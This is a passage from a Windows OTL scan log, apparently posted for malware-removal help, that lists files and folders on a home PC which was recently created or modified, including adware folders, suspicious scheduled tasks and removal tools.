[2014-11-07 07:31:03 | 000,000,000 | ---D | C] -- C:\ProgramData\Trusted Publisher
[2014-11-07 07:30:45 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\DeltaFix
[2014-11-07 07:30:06 | 000,000,000 | ---D | C] -- C:\ProgramData\YoutubeAdBlocke
[2014-11-07 07:30:02 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\YoutubeAdBlocke
[2014-11-07 07:29:47 | 000,000,000 | ---D | C] -- C:\ProgramData\GoSAve
[2014-11-07 07:29:42 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\GoSAve
[2014-11-07 07:28:32 | 000,000,000 | ---D | C] -- C:\ProgramData\338751a871e1be28
[2014-11-07 07:28:31 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Local\Torch
[2014-11-07 07:28:31 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Local\Google
[2014-11-07 07:28:31 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Local\Comodo
[2014-11-07 07:28:31 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Local\Chromatic Browser
[2014-11-04 19:55:36 | 000,058,240 | ---- | C] (Word Proser) -- C:\WINDOWS\SysNative\drivers\wpnfd_1_10_0_2.sys
[2014-10-30 12:19:03 | 000,000,000 | ---D | C] -- C:\AdwCleaner
[2014-10-29 06:11:02 | 000,000,000 | ---D | C] -- C:\ProgramData\66d59f5c-9429-4c86-9f63-c339daeaabaf
[2014-10-28 22:21:54 | 000,000,000 | -HSD | C] -- C:\Users\Iza\AppData\Local\EmieUserList
[2014-10-28 22:21:54 | 000,000,000 | -HSD | C] -- C:\Users\Iza\AppData\Local\EmieSiteList
[2014-10-20 19:33:29 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Roaming\ABBYY
[2014-10-20 19:29:43 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ABBYY FineReader 12
[2014-10-20 19:26:37 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\ABBYY FineReader 12
[2014-10-20 19:26:37 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Local\ABBYY
[2014-10-20 19:25:59 | 000,000,000 | ---D | C] -- C:\ProgramData\ABBYY
[2014-10-20 19:22:38 | 000,000,000 | ---D | C] -- C:\temp
[2014-10-20 07:37:40 | 000,706,016 | ---- | C] (Adobe Systems Incorporated) -- C:\WINDOWS\SysWow64\FlashPlayerApp.exe
[2014-10-20 07:37:40 | 000,105,440 | ---- | C] (Adobe Systems Incorporated) -- C:\WINDOWS\SysWow64\FlashPlayerCPLApp.cpl
[2014-10-20 07:33:18 | 000,000,000 | R--D | C] -- C:\WINDOWS\BrowserChoice
[2014-10-19 18:41:32 | 000,146,752 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\drivers\msgpioclx.sys
[2014-10-19 15:39:16 | 003,118,080 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\Wpc.dll
[2014-10-19 15:39:16 | 003,048,880 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\WpcMon.exe
[2014-10-19 15:39:16 | 002,861,056 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\WpcWebSync.dll
[2014-10-19 15:39:16 | 002,344,448 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\Wpc.dll
[2014-10-19 15:39:07 | 013,423,104 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\twinui.dll
[2014-10-19 15:39:07 | 011,818,496 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\twinui.dll
[2014-10-19 15:39:06 | 002,860,032 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\actxprxy.dll
[2014-10-19 15:39:06 | 002,374,784 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\explorer.exe
[2014-10-19 15:39:06 | 002,084,520 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\explorer.exe
[2014-10-19 15:39:06 | 000,796,672 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\uDWM.dll
[2014-10-19 15:39:06 | 000,068,096 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\UXInit.dll
[2014-10-19 15:39:06 | 000,050,176 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\UXInit.dll
[2014-10-19 15:38:59 | 008,757,760 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\Windows.UI.Search.dll
[2014-10-19 15:38:56 | 006,649,344 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\mstscax.dll
[2014-10-19 15:38:56 | 005,902,848 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\Windows.UI.Search.dll
[2014-10-19 15:38:55 | 005,777,408 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\mstscax.dll
[2014-10-19 15:38:55 | 004,758,528 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\SyncEngine.dll
[2014-10-19 15:38:54 | 001,710,184 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\ntdll.dll
[2014-10-19 15:38:54 | 001,507,648 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\propsys.dll
[2014-10-19 15:38:54 | 001,112,512 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\KernelBase.dll
[2014-10-19 15:38:54 | 001,106,432 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\SearchFolder.dll
[2014-10-19 15:38:53 | 000,920,064 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\WSShared.dll
[2014-10-19 15:38:53 | 000,756,224 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\WSShared.dll
[2014-10-19 15:38:53 | 000,359,424 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\Wldap32.dll
[2014-10-19 15:38:52 | 000,287,744 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\SystemEventsBrokerServer.dll
[2014-10-19 15:38:51 | 001,120,768 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\SkyDrive.exe
[2014-10-19 15:38:51 | 000,717,824 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\SkyDriveTelemetry.dll
[2014-10-19 15:38:51 | 000,428,864 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\drivers\FWPKCLNT.SYS
[2014-10-19 15:38:51 | 000,290,816 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\ProximityService.dll
[2014-10-19 15:38:51 | 000,286,208 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\SkyDriveShell.dll
[2014-10-19 15:38:51 | 000,286,208 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\pcsvDevice.dll
[2014-10-19 15:38:51 | 000,267,776 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\bisrv.dll
[2014-10-19 15:38:51 | 000,265,216 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\SkyDriveShell.dll
[2014-10-19 15:38:51 | 000,118,272 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\httpprxm.dll
[2014-10-19 15:38:51 | 000,075,776 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\adhsvc.dll
[2014-10-19 15:38:50 | 000,249,344 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\Windows.ApplicationModel.Store.TestingFramework.dll
[2014-10-19 15:38:50 | 000,189,952 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\Windows.ApplicationModel.Store.TestingFramework.dll
[2014-10-19 15:38:38 | 000,035,480 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\TsWpfWrp.exe
[2014-10-19 15:38:38 | 000,035,480 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\TsWpfWrp.exe
[2014-10-19 15:38:23 | 000,321,536 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\lockscreencn.dll
[2014-10-19 15:38:03 | 002,125,344 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\d3d9.dll
[2014-10-19 15:38:02 | 000,721,408 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\fveapi.dll
[2014-10-19 15:38:02 | 000,403,968 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\vpnike.dll
[2014-10-19 15:38:01 | 000,301,056 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\framedynos.dll
[2014-10-19 15:38:01 | 000,271,872 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\dhcpcore6.dll
[2014-10-19 15:38:01 | 000,235,008 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\framedynos.dll
[2014-10-19 15:38:01 | 000,229,888 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\dhcpcore6.dll
[2014-10-19 15:38:00 | 000,262,656 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\framedyn.dll
[2014-10-19 15:38:00 | 000,207,360 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\framedyn.dll
[2014-10-19 15:38:00 | 000,123,392 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\Robocopy.exe
[2014-10-19 15:38:00 | 000,106,496 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\Robocopy.exe
[2014-10-19 15:38:00 | 000,071,168 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\ncobjapi.dll
[2014-10-19 15:38:00 | 000,065,024 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\dhcpcsvc6.dll
[2014-10-19 15:38:00 | 000,052,736 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\ncobjapi.dll
[2014-10-19 15:37:59 | 000,997,888 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\reseteng.dll
[2014-10-19 15:37:37 | 000,284,672 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\WUDFHost.exe
[2014-10-19 15:37:36 | 000,423,768 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\hal.dll
[2014-10-19 15:37:36 | 000,323,584 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\DaOtpCredentialProvider.dll
[2014-10-19 15:37:36 | 000,270,848 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\DaOtpCredentialProvider.dll
[2014-10-19 15:37:36 | 000,209,408 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\WUDFPlatform.dll
[2014-10-19 15:37:23 | 000,623,616 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\MDMAgent.exe
[2014-10-19 15:37:15 | 000,875,688 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\msvcr120_clr0400.dll
[2014-10-19 15:37:15 | 000,869,544 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\msvcr120_clr0400.dll
[2014-10-17 19:17:23 | 000,000,000 | -HSD | C] -- C:\Recovery
[2014-10-17 19:17:15 | 000,000,000 | ---D | C] -- C:\WINDOWS\Panther
[2014-10-17 19:16:20 | 001,702,400 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wucltux.dll
[2014-10-17 19:16:20 | 000,839,680 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wuapi.dll
[2014-10-17 19:16:20 | 000,672,256 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\wuapi.dll
[2014-10-17 19:16:20 | 000,388,608 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\WUSettingsProvider.dll
[2014-10-17 19:16:20 | 000,137,728 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wuwebv.dll
[2014-10-17 19:16:20 | 000,123,904 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\wuwebv.dll
[2014-10-17 19:16:20 | 000,093,696 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wudriver.dll
[2014-10-17 19:16:20 | 000,080,896 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\wudriver.dll
[2014-10-17 19:16:20 | 000,059,904 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wups.dll
[2014-10-17 19:16:20 | 000,054,752 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wuauclt.exe
[2014-10-17 19:16:20 | 000,050,688 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wups2.dll
[2014-10-17 19:16:20 | 000,035,328 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wuapp.exe
[2014-10-17 19:16:20 | 000,031,232 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\wuapp.exe
[2014-10-17 19:16:08 | 000,921,600 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\MrmCoreR.dll
[2014-10-17 19:16:08 | 000,626,688 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\MrmCoreR.dll
[2014-10-17 19:16:08 | 000,118,272 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\winbici.dll
[2014-10-17 19:16:08 | 000,076,800 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\BulkOperationHost.exe
[2014-10-17 19:15:58 | 000,076,288 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\packager.dll
[2014-10-17 19:15:58 | 000,068,608 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\packager.dll
[2014-10-17 19:15:48 | 002,646,016 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\authui.dll
[2014-10-17 19:15:48 | 002,321,920 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\authui.dll
[2014-10-17 19:15:47 | 002,779,648 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\msi.dll
[2014-10-17 19:15:30 | 005,829,632 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\jscript9.dll
[2014-10-17 19:15:30 | 002,108,416 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\inetcpl.cpl
[2014-10-17 19:15:30 | 002,017,280 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\inetcpl.cpl
[2014-10-17 19:15:30 | 000,775,168 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\ieapfltr.dll
[2014-10-17 19:15:30 | 000,758,272 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\jscript9diag.dll
[2014-10-17 19:15:30 | 000,731,136 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\msfeeds.dll
[2014-10-17 19:15:30 | 000,710,656 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\ie4uinit.exe
[2014-10-17 19:15:30 | 000,678,400 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\ieapfltr.dll
[2014-10-17 19:15:30 | 000,597,504 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\jscript9diag.dll
[2014-10-17 19:15:30 | 000,446,464 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\dxtmsft.dll
[2014-10-17 19:15:30 | 000,289,280 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\dxtrans.dll
[2014-10-17 19:15:30 | 000,085,504 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\mshtmled.dll
[2014-10-17 19:15:30 | 000,083,968 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\MshtmlDac.dll
[2014-10-17 19:15:30 | 000,072,704 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\JavaScriptCollectionAgent.dll
[2014-10-17 19:15:30 | 000,069,632 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\mshtmled.dll
[2014-10-17 19:15:30 | 000,061,952 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\MshtmlDac.dll
[2014-10-17 19:15:30 | 000,060,416 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\JavaScriptCollectionAgent.dll
[2014-10-17 19:15:29 | 000,547,328 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\vbscript.dll
[2014-10-17 19:14:57 | 000,590,336 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\rastls.dll
[2014-10-17 19:14:57 | 000,514,048 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\rastls.dll
[2014-10-17 19:14:30 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Roaming\Identities
[2014-10-17 19:14:10 | 000,000,000 | -HSD | C] -- C:\Users\Iza\IntelGraphicsProfiles
[2014-10-17 19:11:59 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Reference Assemblies
[2014-10-17 19:11:59 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\MSBuild
[2014-10-17 19:11:57 | 000,000,000 | ---D | C] -- C:\WINDOWS\SysWow64\XPSViewer
[2014-10-17 19:11:57 | 000,000,000 | ---D | C] -- C:\Program Files\Reference Assemblies
[2014-10-17 19:11:57 | 000,000,000 | ---D | C] -- C:\Program Files\MSBuild
[2014-10-17 19:11:14 | 000,778,936 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\PresentationNative_v0300.dll
[2014-10-17 19:11:14 | 000,102,608 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\PresentationCFFRasterizerNative_v0300.dll
[2014-10-17 19:11:13 | 000,124,112 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\PresentationCFFRasterizerNative_v0300.dll
[2014-10-17 19:11:11 | 001,166,520 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\SysNative\PresentationNative_v0300.dll
[2014-10-17 18:29:09 | 000,000,000 | --SD | C] -- C:\Users\Iza\AppData\Roaming\Microsoft
[2014-10-17 18:29:09 | 000,000,000 | R--D | C] -- C:\Users\Iza\Favorites
[2014-10-17 18:29:09 | 000,000,000 | R--D | C] -- C:\Users\Iza\Documents
[2014-10-17 18:29:09 | 000,000,000 | R--D | C] -- C:\Users\Iza\Desktop
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\Ustawienia lokalne
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\AppData\Local\Temporary Internet Files
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\Szablony
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\SendTo
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\Recent
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\PrintHood
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\NetHood
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\Documents\Moje wideo
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\Documents\Moje obrazy
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\Moje dokumenty
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\Documents\Moja muzyka
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\Menu Start
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\AppData\Local\Historia
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\Dane aplikacji
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\AppData\Local\Dane aplikacji
[2014-10-17 18:29:09 | 000,000,000 | -HSD | C] -- C:\Users\Iza\Cookies
[2014-10-17 18:29:09 | 000,000,000 | -H-D | C] -- C:\Users\Iza\AppData
[2014-10-17 18:29:09 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Local\Temp
[2014-10-17 18:29:09 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Local\Microsoft
[2014-10-17 18:20:57 | 000,000,000 | ---D | C] -- C:\Program Files\CONEXANT
[2014-10-17 18:20:31 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Intel
[2014-10-17 18:20:28 | 000,064,000 | ---- | C] (Khronos Group) -- C:\WINDOWS\SysNative\OpenCL.DLL
[2014-10-17 18:20:28 | 000,060,416 | ---- | C] (Khronos Group) -- C:\WINDOWS\SysWow64\OpenCL.DLL
[2014-10-17 18:19:53 | 000,000,000 | ---D | C] -- C:\Program Files\Synaptics
[2014-10-17 18:18:24 | 000,000,000 | ---D | C] -- C:\WINDOWS\Prefetch
[2014-10-16 09:18:22 | 001,054,912 | ---- | C] (Adobe) -- C:\Users\Iza\Desktop\install_flashplayer15x32au_mssa_aaa_aih.exe
[2014-10-15 11:57:04 | 000,000,000 | ---D | C] -- C:\Users\Iza\Desktop\rzesy
[2014-10-12 09:51:13 | 000,000,000 | ---D | C] -- C:\Users\Iza\Desktop\nuty
[2014-10-12 09:48:45 | 000,000,000 | ---D | C] -- C:\Users\Iza\Desktop\MCH2
 
[color=#E56717]========== Files - Modified Within 30 Days ==========[/color]
 
[2014-11-10 21:38:07 | 000,002,434 | ---- | M] () -- C:\WINDOWS\tasks\20056796-1c98-4acb-93b2-46080158cb89-5_user.job
[2014-11-10 21:38:07 | 000,002,434 | ---- | M] () -- C:\WINDOWS\tasks\20056796-1c98-4acb-93b2-46080158cb89-5.job
[2014-11-10 21:38:03 | 000,004,828 | ---- | M] () -- C:\WINDOWS\tasks\20056796-1c98-4acb-93b2-46080158cb89-11.job
[2014-11-10 21:38:00 | 000,004,146 | ---- | M] () -- C:\WINDOWS\tasks\20056796-1c98-4acb-93b2-46080158cb89-4.job
[2014-11-10 21:38:00 | 000,003,090 | ---- | M] () -- C:\WINDOWS\tasks\20056796-1c98-4acb-93b2-46080158cb89-1.job
[2014-11-10 21:38:00 | 000,002,098 | ---- | M] () -- C:\WINDOWS\tasks\20056796-1c98-4acb-93b2-46080158cb89-2.job
[2014-11-10 21:36:08 | 000,854,448 | ---- | M] () -- C:\Users\Iza\Desktop\SecurityCheck.exe
[2014-11-10 21:30:03 | 000,001,696 | ---- | M] () -- C:\WINDOWS\tasks\STKMWBD.job
[2014-11-10 21:24:11 | 000,368,705 | ---- | M] () -- C:\Users\Iza\Desktop\gm.zip
[2014-11-10 21:22:45 | 000,380,416 | ---- | M] () -- C:\Users\Iza\Desktop\x2ibv3vl.exe
[2014-11-10 21:20:45 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\Iza\Desktop\OTL.scr
[2014-11-10 21:20:33 | 002,116,096 | ---- | M] (Farbar) -- C:\Users\Iza\Desktop\FRST64(1).exe
[2014-11-10 21:20:01 | 002,116,096 | ---- | M] (Farbar) -- C:\Users\Iza\Desktop\FRST64.exe
[2014-11-10 21:18:45 | 001,825,074 | ---- | M] () -- C:\WINDOWS\SysNative\PerfStringBackup.INI
[2014-11-10 21:18:45 | 000,807,160 | ---- | M] () -- C:\WINDOWS\SysNative\perfh015.dat
[2014-11-10 21:18:45 | 000,722,476 | ---- | M] () -- C:\WINDOWS\SysNative\perfh009.dat
[2014-11-10 21:18:45 | 000,163,478 | ---- | M] () -- C:\WINDOWS\SysNative\perfc015.dat
[2014-11-10 21:18:45 | 000,135,592 | ---- | M] () -- C:\WINDOWS\SysNative\perfc009.dat
[2014-11-10 21:15:19 | 000,067,584 | --S- | M] () -- C:\WINDOWS\bootstat.dat
[2014-11-10 19:30:06 | 000,004,494 | ---- | M] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-4.job
[2014-11-10 18:33:03 | 000,002,446 | ---- | M] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-5_user.job
[2014-11-10 18:33:03 | 000,002,446 | ---- | M] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-5.job
[2014-11-10 18:33:00 | 000,003,114 | ---- | M] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-1.job
[2014-11-10 18:33:00 | 000,002,110 | ---- | M] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-2.job
[2014-11-10 18:32:07 | 000,005,184 | ---- | M] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-11.job
[2014-11-10 18:32:03 | 000,004,158 | ---- | M] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-3.job
[2014-11-10 18:12:00 | 000,000,930 | ---- | M] () -- C:\WINDOWS\tasks\Adobe Flash Player Updater.job
[2014-11-10 12:30:54 | 000,000,422 | ---- | M] () -- C:\WINDOWS\tasks\SpeeditUp Update.job
[2014-11-10 12:28:03 | 000,001,958 | ---- | M] () -- C:\WINDOWS\patsearch.bin
[2014-11-10 11:45:15 | 000,001,344 | ---- | M] () -- C:\WINDOWS\tasks\ZEU.job
[2014-11-10 08:00:03 | 000,001,352 | ---- | M] () -- C:\WINDOWS\tasks\LBVIRSK.job
[2014-11-10 06:37:00 | 000,000,990 | ---- | M] () -- C:\WINDOWS\tasks\globalUpdateUpdateTaskMachineUA.job
[2014-11-09 22:47:02 | 000,000,356 | ---- | M] () -- C:\WINDOWS\tasks\AmiUpdXp.job
[2014-11-09 05:26:46 | 000,048,784 | ---- | M] (StdLib) -- C:\WINDOWS\SysNative\drivers\{dbe9acb7-ca74-4c18-ad13-f0270d74c42d}Gw64.sys
[2014-11-08 18:35:09 | 000,002,077 | ---- | M] () -- C:\Users\Iza\Desktop\WhiteSmoke Writer V8.lnk
[2014-11-08 18:31:52 | 000,036,964 | ---- | M] () -- C:\Users\Iza\Desktop\20141014_192858.jpg
[2014-11-08 18:31:21 | 000,030,130 | ---- | M] () -- C:\Users\Iza\Desktop\20141003_160425.jpg
[2014-11-08 18:30:16 | 000,041,110 | ---- | M] () -- C:\Users\Iza\Desktop\20140926_201048.jpg
[2014-11-08 18:29:33 | 000,020,323 | ---- | M] () -- C:\Users\Iza\Desktop\20140919_114327.jpg
[2014-11-08 18:27:51 | 000,024,943 | ---- | M] () -- C:\Users\Iza\Desktop\20140910_165247.jpg
[2014-11-08 18:25:19 | 000,063,231 | ---- | M] () -- C:\Users\Iza\Desktop\20140830_172905.jpg
[2014-11-08 18:24:29 | 000,050,371 | ---- | M] () -- C:\Users\Iza\Desktop\20140827_172258.jpg
[2014-11-08 18:22:43 | 000,082,147 | ---- | M] () -- C:\Users\Iza\Desktop\20140827_170011.jpg
[2014-11-08 18:21:29 | 000,037,115 | ---- | M] () -- C:\Users\Iza\Desktop\20140826_192024.jpg
[2014-11-08 18:19:46 | 000,047,851 | ---- | M] () -- C:\Users\Iza\Desktop\20141029_101410.jpg
[2014-11-08 18:19:01 | 000,030,320 | ---- | M] () -- C:\Users\Iza\Desktop\20141029_101425.jpg
[2014-11-08 18:17:48 | 000,052,748 | ---- | M] () -- C:\Users\Iza\Desktop\20140826_180500.jpg
[2014-11-07 15:46:02 | 005,930,760 | ---- | M] () -- C:\Users\Iza\Documents\izacentrum.cdr
[2014-11-07 15:01:20 | 000,000,274 | ---- | M] () -- C:\WINDOWS\tasks\RegClean Pro_DEFAULT.job
[2014-11-07 14:06:49 | 003,500,270 | ---- | M] () -- C:\Users\Iza\Documents\centrum.pdf
[2014-11-07 14:06:40 | 002,959,420 | ---- | M] () -- C:\Users\Iza\Documents\centrum.cdr
[2014-11-07 12:50:33 | 000,002,828 | -HS- | M] () -- C:\WINDOWS\SysWow64\KGyGaAvL.sys
[2014-11-07 12:50:33 | 000,000,088 | RHS- | M] () -- C:\WINDOWS\SysWow64\59DE37B258.sys
[2014-11-07 12:38:50 | 000,000,908 | ---- | M] () -- C:\Users\Iza\Desktop\µTorrent.lnk
[2014-11-07 12:38:46 | 000,000,000 | -H-- | M] () -- C:\WINDOWS\SysNative\drivers\Msft_Kernel_webinstrNew_01009.Wdf
[2014-11-07 12:38:35 | 000,058,040 | ---- | M] (Corsica) -- C:\WINDOWS\SysNative\drivers\webinstrNew.sys
[2014-11-07 12:38:23 | 000,497,744 | ---- | M] () -- C:\Users\Iza\Desktop\corel x3 serial number__3039_i1399246418_il1374875.exe
[2014-11-07 12:37:02 | 000,001,018 | ---- | M] () -- C:\Users\Iza\Desktop\MiniGet.lnk
[2014-11-07 12:37:00 | 000,000,986 | ---- | M] () -- C:\WINDOWS\tasks\globalUpdateUpdateTaskMachineCore.job
[2014-11-07 12:33:04 | 001,464,240 | ---- | M] (InfoHD-V2.2V07.11) -- C:\Users\Iza\AppData\Roaming\ZEU.exe
[2014-11-07 12:32:41 | 000,000,282 | ---- | M] () -- C:\WINDOWS\tasks\RegClean Pro_UPDATES.job
[2014-11-07 12:32:35 | 001,940,912 | ---- | M] (InfoHD-V2.2V07.11) -- C:\Users\Iza\AppData\Roaming\STKMWBD.exe
[2014-11-07 12:32:31 | 000,001,008 | ---- | M] () -- C:\Users\Public\Desktop\RegClean Pro.lnk
